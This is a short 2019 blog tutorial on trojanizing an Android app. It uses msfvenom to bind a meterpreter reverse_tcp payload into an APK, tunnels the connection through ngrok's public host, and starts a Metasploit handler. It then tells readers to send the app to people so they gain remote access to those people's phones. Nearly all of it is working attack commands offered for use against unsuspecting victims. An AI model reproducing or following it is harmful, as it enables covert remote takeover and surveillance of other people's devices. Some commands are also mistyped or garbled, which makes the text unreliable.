Friday, 26 July 2019

Hacking a smartphone by using cmd apktool and metasploit firmwork

Just skipping to main matter
Need to install 
1.Metasploit firmware 
2.Java JDK and JDE 
3.ngrok (for forwording port)
And the last 
4.Apktool
Here we start

First go to ngrok register and sign in to it go to auth option in the left side
Click on it then you will get your auth code written in black 
Copy it (from ngrok) dont copy ./ sign
And download ngrok from it 

After installing

Open CMD and type 

        cd desktop
        Paste your auth code

        If its didn't recorgnize it check that ngrok icon         is situated or not then open ngrok to check its         working or not 

        Type    
         
        ngrok tcp 1560

        A screen opens in cmd showing connection 
  
        Open CMD in new window 
  
        Download the apk which you want to bind 

        In new CMD window type 
    
        cd downloads (where the downloaded file is             save in my case it is in downloads)
   
        (you have to install metasploit firmware                     before run this command if after installing this         command won't work open control panel and           go to system advance setting in left side                   advance environment variable in it you see               path in second box select edit in path then               select new and paste your downloaded file               location )

        And type       msfvenom -x (yourapp name                 ).apk -p android/meterpreter/reverse_tcp                  LHOST=0.tcp.ngrok.io LPORT=(in ngrok cmd           window you will see a six digit no just paste it
        ) -o /User/desktop/(the name of your apk you         want to rename ) and press enter

       The apk starts to bind 
       If you are facing any kind of error I will solve it          for you 
       
        After doing that open a new cmd window
        Type 

        msfconsole
        usemulti/handler
        set payload android/meterpreter/reverse_tcp
        set LHOST 127.0.0.1
        set LPORT  1560
        show options 
        exploits 
      
        And send this apk to people and remember               turn cmd on when somebody install it you                 will be connected to him/her 
    
        type    HELP     in msfconsole window and                  the commands just just type these command 
         as you need to get